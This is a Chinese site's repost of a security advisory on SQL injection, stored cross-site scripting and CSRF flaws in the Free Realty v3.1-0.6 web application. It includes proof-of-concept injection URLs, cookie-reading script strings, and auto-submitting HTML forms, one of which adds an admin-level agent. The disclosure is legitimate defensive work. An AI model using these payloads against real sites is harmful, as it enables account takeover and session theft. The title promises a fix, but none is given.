欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

Free Realty v3.1-0.6的缺陷介绍及其修复方法

程序员文章站 2022-03-04 08:37:14
Free Realty v3.1-0.6的缺陷介绍及其修复方法,请看下面... 12-05-14...
标题:free reality v3.1-0.6 - multiple web vulnerabilities
介绍:
=============
free realty is primarily designed for real estate agents and offices to list properties on the internet. with free realty the end
user does not need to be fluent in web page design. read more in the demo site
this is a fork of
software written by jon roig called open realty. jon has moved on to version 3.0 while a number of users have requested
continued development on the 2.x series. other sites of note regarding 2.x development
www.1axn.com/gi-bin/openforum/ikonboard.cgi the original discussion board, before jon opened up his own.
影响版本:
=========
a vulnerability laboratory researcher team discovered multiple web vulnerabilities in the free reality v3.1-0.6 web application.
问题类型:remote
技术分析:
========
1.1
a remote sql injection vulnerability is detected in the free reality v3.1-0.6 web application.
the vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on
the affected application dbms. successful exploitation of the vulnerability results in dbms & application compromise.
vulnerable module(s):
[+] agentdisplay.php?view=
[+] /admin/admin.php?edit=
1.2
multiple persistent input validation vulnerabilities are detected in the free reality v3.1-0.6 web application.
the bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation.
exploitation requires low user inter action.
vulnerable module(s):
[+] admin/agenteditor.php - inject notes about the agent
[+] agentadmin.php?edit=2 - inject title / preview description: / long description: / notes
[+] agentadmin.php?action=addlisting inject title / preview description: / long description: / notes
[+] admin/adminfeatures.php - add new feature
1.3
a cross site request forgery vulnerability is detected in in the free reality v3.1-0.6 web application. the bugs allow remote
attackers with high required user inter action to edit user accounts. successful exploitation can lead to account access.
to exploit the issue the attacker need to create a manipulated copy the edit user mask/form. inside of the document the
remote can implement his own values for the update because of no form or token protection. when admin get now forced to
execute the script via link he is executing the new value on the update of the application if his session is not expired.
vulnerable module(s):
[+] admin/agenteditor.php?action=addagent - add agent
[+] admin/agenteditor.php?adminmodify=2 - modify agent
测试证明:
=================
1.1
the sql injection vulnerability can be exploited by remote attackers without user inter action. for demonstration or reproduce ...
poc:
https://www.jb51.net /fr/agentdisplay.php?view=1[sql-injection!]
http://127.0.0.1/fr/admin/admin.php?edit=2[sql-injection!]
1.2
the persistent input validation vulnerability can be exploited by remote attackers with medium till low required user inter action.
for demonstration or reproduce ...
note:
the issue can be exploited by an insert on the created object function with script code as value.
the result is the persistent execution out of the web application context.
strings:
>"<<iframe src=http:// www.jb51.net />37</iframe> ... or
>"<script>alert(document.cookie)</script><div style="1
1.3
the csrf vulnerability can be exploited by remote attackers with high required user inter action. for demonstration or reproduce ...
<html>
<form name="test" action="http://127.0.0.1/fr/admin/agenteditor.php?adminmodify=2" method="post">
<input type="hidden" name="agent" value="test2"><br/>
<input type="hidden" name="agenttitle" value="test3"><br/>
<input type="hidden" name="agentpass" value="storm"><br/>
</form>
<script>document.test.submit();</script>
</html>
<html>
<form name="addagent" action="http://127.0.1.1/fr/admin/agenteditor.php?action=addagent" method="post">
<input type="hidden" name="agent" value="test3"><br/>
<input type="hidden" name="agenttitle" value="test3"><br/>
<input type="hidden" name="agentpass" value="test3"><br/>
<input type="hidden" name="agentfax" value="test3"><br/>
<input type="hidden" name="agentcell" value="test3"><br/>
<input type="hidden" name="agentphone" value="test3"><br/>
<input type="hidden" name="agenturl" value="test3"><br/>
<input type="hidden" name="agentemail=" value="test3@hotmail.com"><br/>
<input type="hidden" name="user_level" value="admin"><br/>
<input type="hidden" name="notes" value="test#"><br/>
</form>
<script>document.addagent.submit();</script>
</html>
risk:
=====
1.1
the security risk of the remote sql injection vulnerability is estimated as critical.
1.2
the security risk of the persistent input validation vulnerability is estimated as medium.
1.3
the security risk of the cross site request forgery vulnerability is estimated as low(+).